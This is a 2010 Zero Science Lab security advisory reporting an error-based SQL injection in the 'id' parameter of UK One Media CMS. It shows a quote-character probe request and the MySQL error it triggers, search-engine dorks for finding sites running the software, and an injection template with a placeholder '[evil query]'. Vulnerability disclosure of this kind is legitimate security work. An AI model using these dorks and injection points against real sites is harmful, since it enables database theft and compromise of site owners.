106 lines
No EOL
2.7 KiB
Text
106 lines
No EOL
2.7 KiB
Text
O
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
/ \
|
|
#################################################################################
|
|
| |
|
|
| |
|
|
| UK One Media CMS (id) Error Based SQL Injection Vulnerability |
|
|
| |
|
|
| |
|
|
| |
|
|
| Summary: Content Management System (PHP+MySQL) |
|
|
| |
|
|
| Vendor: UK One Media - http://www.uk1media.com |
|
|
| |
|
|
| Desc: UK One Media CMS suffers from an sql injection vulnerability |
|
|
| when parsing query from the id param which results in compromising |
|
|
| the entire database structure and executing system commands. |
|
|
| |
|
|
| Tested on Apache 2.x (linux), PHP/5.2.11 and MySQL/4.1.22 |
|
|
| |
|
|
| |
|
|
---------------------------------------------------------------------------------
|
|
| |
|
|
| GET .../viewArticle.php?id=xx%27 |
|
|
| |
|
|
| Warning: mysql_fetch_array(): supplied argument is not a valid MySQL |
|
|
| result resource in /home/lqwrm/public_html/xxx/include/DbConnector.php |
|
|
| on line xx. |
|
|
| |
|
|
---------------------------------------------------------------------------------
|
|
| |
|
|
| |
|
|
| |
|
|
| Vulnerability discovered by Gjoko 'LiquidWorm' Krstic |
|
|
| |
|
|
| liquidworm gmail com |
|
|
| |
|
|
| http://www.zeroscience.mk |
|
|
| |
|
|
| |
|
|
| |
|
|
| Advisory ID: ZSL-2010-4942 |
|
|
| |
|
|
| Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4942.php |
|
|
| |
|
|
| |
|
|
| 24.05.2010 |
|
|
| |
|
|
| |
|
|
#################################################################################
|
|
| |
|
|
| |
|
|
| Dorks: |
|
|
| |
|
|
| "Web Design London by UK One Media - ecommerce - Web Hosting" |
|
|
| "Powered by Websoftrus CMS" |
|
|
| |
|
|
| |
|
|
| |
|
|
| |
|
|
| Point: |
|
|
| |
|
|
| http://www.example.com/viewArticle.php?id=[value]+and+1=0+[evil query] |
|
|
| |
|
|
| |
|
|
| |
|
|
| |
|
|
################################################################################# |